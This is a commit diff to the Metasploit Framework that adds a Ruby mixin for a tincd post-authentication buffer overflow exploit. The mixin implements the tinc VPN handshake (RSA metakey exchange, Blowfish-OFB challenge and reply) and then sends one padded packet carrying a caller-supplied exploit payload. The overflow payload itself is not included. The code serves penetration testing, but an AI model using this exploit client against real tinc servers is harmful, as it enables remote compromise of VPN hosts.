Land rapid7#2756, tincd post-auth BOF exploit

Author: wvu

lib/msf/core/exploit/mixins.rb

@@ -59,6 +59,7 @@
 require 'msf/core/exploit/afp'
 require 'msf/core/exploit/realport'
 require 'msf/core/exploit/sip'
+require 'msf/core/exploit/tincd'
 
 # Telephony
 require 'msf/core/exploit/dialup'

lib/msf/core/exploit/tincd.rb

@@ -0,0 +1,341 @@
+require 'msf/core'
+require 'msf/core/exploit/tcp'
+
+require 'securerandom'
+require 'openssl'
+require 'digest/sha1'
+
+module Msf
+# This module does a handshake with a tincd server and sends one padded packet
+# Author: Tobias Ospelt <tobias at modzero dot ch> @floyd_ch
+module Exploit::Remote::TincdExploitClient
+  include Msf::Exploit::Remote::Tcp
+
+  BF_BLOCKSIZE =  64 / 8
+  BF_KEY_LEN = 16
+  BF_IV_LEN = 8
+
+  #
+  # Module options
+  #
+  def initialize(info = {})
+    super
+    register_options(
+      [Opt::RPORT(655),
+        # As this is only for post-auth exploits, you should know the value of the
+        # following variables by simply checking
+        # your configuration.
+        OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']),
+        OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']),
+        # You should see CLIENT_NAME in cleartext in the first message to the
+        # server by your usual tinc client (tcpdump or
+        # wireshark it: e.g. "0 home 17.0", so it's "home"). On the server,
+        # this is located in the config folder, e.g. in FreeBSD
+        # there is the client public key file /usr/local/etc/tinc/hosts/home
+        # for the client "home"
+        # If you don't have a clue, maybe just try the filename of your private
+        # key without file extension
+        OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , ''])
+      ], self
+    )
+  end
+
+  #
+  # Setting up variables and calling cipher inits with file paths from configuration
+  #
+  def setup_ciphers
+    @state = :id_state
+    @buffer = ''
+    @inbuffer = ''
+    @encryption_queue = []
+
+    @packet_payload = nil
+    @keep_reading_socket = false
+
+    @server_key_len = nil
+    @client_key_len =  nil
+    @client_private_key_cipher = nil
+    @hex_enc_key_s1 = nil
+    @bf_enc_cipher = nil
+    init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE'])
+    vprint_status('Ciphers locally initalized, private key and public key files seem to be ok')
+    @bf_dec_cipher = nil
+  end
+
+  #
+  # The main method that will be called that will call other methods to send first message
+  # and continously read from socket and ensures TCP disconnect at the end
+  #
+  def send_recv(packet_payload)
+    @packet_payload = packet_payload
+    @keep_reading_socket = true
+    connect
+    begin
+      # send the first message
+      id
+      # Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout?
+      while @keep_reading_socket
+        process_data(sock.get_once)
+      end
+    rescue Errno::ECONNRESET
+      if @state == :metakey_state
+        fail 'Server reset the connection. Probably rejecting ' +
+         'the private key and/or client name (e.g. client name not associated ' +
+         'with client public key on server side). ' +
+         'Wrong server public key possible too. ' +
+         'Please recheck client name, client private key and ' +
+         'server public key.'
+      else
+        fail 'Server reset the connection, reason unknown.'
+      end
+    ensure
+      disconnect
+    end
+  end
+
+  #
+  # Reading of certificate files and parsing them, generation of random keys
+  # and intialization of OFB mode blowfish cipher
+  #
+  def init_ciphers(server_file, client_file)
+    server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
+    @server_key_len = server_public_key_cipher.n.num_bytes
+    @client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))
+    @client_key_len = @client_private_key_cipher.n.num_bytes
+    vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge")
+    vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length")
+
+    # we don't want this to happen here:
+    # `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)
+    # simple solution: choose the key_s1 with a leading zero byte
+    key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1)
+    enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING)
+
+    @hex_enc_key_s1 = enc_key_s1.unpack('H*')[0]
+
+    offset_key = @server_key_len - BF_KEY_LEN
+    offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN
+    bf_enc_key = key_s1[offset_key...@server_key_len]
+    bf_enc_iv = key_s1[offset_iv...offset_key]
+
+    @bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB')
+    @bf_enc_cipher.encrypt
+    @bf_enc_cipher.key = bf_enc_key
+    @bf_enc_cipher.iv = bf_enc_iv
+
+    # #Looks like ruby openssl supports other lengths than multiple of 8!
+    # test = @bf_enc_cipher.update('A'*10)
+    # test << @bf_enc_cipher.final
+    # puts "Testing cipher: "+test.unpack('H*')[0]
+  end
+
+  #
+  # Depending on the state of the protocol handshake and the data we get back
+  # from the server, this method will decide which message has to be sent next
+  #
+  def process_data(data)
+    @inbuffer += data if data
+    case @state
+    when :id_state
+      if line?
+        data = read_line
+        vprint_status("Received ID from server: [#{data[0..30]}]")
+        @state = :metakey_state
+        # next expected state
+        metakey
+      end
+    when :metakey_state
+      if line?
+        data = read_line
+        vprint_status("Received Metakey from server: [#{data[0..30]}...]")
+        data = data.split(' ')
+        fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1'
+        hexkey_s2 = data[5].rstrip # ("\n")
+        fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2
+        @enckey_s2 = [hexkey_s2].pack('H*')
+        key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING)
+
+        # metakey setup according to protocol_auth.c
+        # if(!EVP_DecryptInit(c->inctx, c->incipher,
+        #    (unsigned char *)c->inkey + len - c->incipher->key_len,    # <--- KEY pointer
+        #    (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer
+        # ))
+        offset_key = @client_key_len - BF_KEY_LEN
+        offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN
+        bf_dec_key = key_s2[offset_key...@client_key_len]
+        bf_dec_iv = key_s2[offset_iv...offset_key]
+
+        @bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB'
+        @bf_dec_cipher.encrypt
+        @bf_dec_cipher.key = bf_dec_key
+        @bf_dec_cipher.iv = bf_dec_iv
+        # don't forget, it *does* matter if you do a
+        # @bf_dec_cipher.reset or not, we're in OFB mode. DON'T.
+        vprint_status('Metakey handshake/exchange completed')
+        @state = :challenge_state
+        challenge
+      end
+    when :challenge_state
+      need_len = 2 * @client_key_len + 3
+      if @inbuffer.length >= need_len
+        data = pop_inbuffer_and_decrypt(need_len)
+        vprint_status("Received challenge from server: " +
+         "[#{data.unpack('H*')[0][0..30]}...]")
+        data = data.split(' ', 2)
+        fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2'
+        challenge2 = data[1][0...2 * @client_key_len]
+        challenge2 = [challenge2].pack('H*')
+        fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len
+        @state = :challenge_reply_state
+        challenge_reply(challenge2)
+      end
+    when :challenge_reply_state
+      need_len = 43
+      if @inbuffer.length >= need_len
+        data = pop_inbuffer_and_decrypt(need_len)
+        vprint_status("Received challenge reply from server:" +
+         " [#{data.unpack('H*')[0][0..30]}...]")
+        @state = :ack_state
+        ack
+      end
+    when :ack_state
+      need_len = 12
+      if @inbuffer.length >= need_len
+        data = pop_inbuffer_and_decrypt(need_len)
+        vprint_status("Received ack (server accepted challenge response):" +
+         "[#{data.unpack('H*')[0][0..30]}...]")
+        @state = :done_state
+        send_packet
+      end
+    end
+  end
+
+  #
+  # Encryption queue where waiting data gets encrypted and afterwards
+  # the remaining messages get sent
+  #
+  def handle_write
+    # handle encryption queue first
+    unless @encryption_queue.empty?
+      msg = @encryption_queue[0]
+      @encryption_queue.delete_at(0)
+      @buffer = @bf_enc_cipher.update(msg)
+      @buffer << @bf_enc_cipher.final
+      # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
+      # the resulting block is used to encrypt the next block.
+    end
+
+    unless @buffer.empty?
+      sent = send_data(@buffer)
+      vprint_status("Sent #{sent} bytes: " +
+       "[#{@buffer.unpack('H*')[0][0..30]}...]")
+      @buffer = @buffer[sent..@buffer.length]
+    end
+  end
+
+  #
+  # Simple socket put/write
+  #
+  def send_data(buf)
+    sock.put(buf)
+  end
+
+  #
+  # Decryption method to process data sent by server
+  #
+  def pop_inbuffer_and_decrypt(size)
+    # In ruby openssl OFM works not only on full blocks, but also on
+    # parts. Therefore no worries like in pycrypto and no
+    # modified decrypt routine, simply use the cipher as is.
+    data = @bf_dec_cipher.update(@inbuffer.slice!(0, size))
+    data << @bf_dec_cipher.final
+    # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
+    # the resulting block is used to decrypt the next block.
+  end
+
+  #
+  # Read up to the next newline from the data the server sent
+  #
+  def read_line
+    idx = @inbuffer.index("\n")
+    data = @inbuffer.slice!(0, idx)
+    @inbuffer.lstrip!
+    data
+  end
+
+  #
+  # Check if we already received a newline, meaning we got an
+  # entire message for the next protocol step
+  #
+  def line?
+    !!(@inbuffer.match("\n"))
+  end
+
+  #
+  # Start message method after TCP handshake
+  #
+  def id
+    msg = "0 #{datastore['CLIENT_NAME']} 17.0\n"
+    vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]")
+    @buffer += msg
+    handle_write
+  end
+
+  #
+  # Sending metakey (transferring a symmetric key that will get encrypted with
+  # public key before beeing sent to the server)
+  #
+  def metakey
+    msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n"
+    vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]")
+    @buffer += msg
+    handle_write
+  end
+
+  #
+  # Send challenge random bytes
+  #
+  def challenge
+    vprint_status('Sending challenge (ciphertext)')
+    challenge = SecureRandom.random_bytes(@server_key_len)
+    msg = "2      #{challenge.unpack('H*')[0]}\n"
+    @encryption_queue.push(msg)
+    handle_write
+  end
+
+  #
+  # Reply to challenge that was sent by server
+  #
+  def challenge_reply(challenge2)
+    vprint_status('Sending challenge reply (ciphertext)')
+    h = Digest::SHA1.hexdigest(challenge2)
+    msg = "3      #{h.upcase}\n"
+    @encryption_queue.push(msg)
+    handle_write
+  end
+
+  #
+  # Ack state to signalise challenge/response was successfull
+  #
+  def ack
+    vprint_status('Sending ack (signalise server that we accept challenge' +
+     'reply, ciphertext)')
+    @encryption_queue.push("4 #{datastore['RPORT']} 123 0    \n")
+    handle_write
+  end
+
+  #
+  # Sending a packet inside the VPN connection after successfull protocol setup
+  #
+  def send_packet
+    vprint_status('Protocol finished setup. Going to send packet.')
+    msg = "17 #{@packet_payload.length}\n#{@packet_payload}"
+    plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE)
+    # padding
+    msg += 'B' * plen
+    @encryption_queue.push(msg)
+    @keep_reading_socket = false
+    handle_write
+  end
+end
+end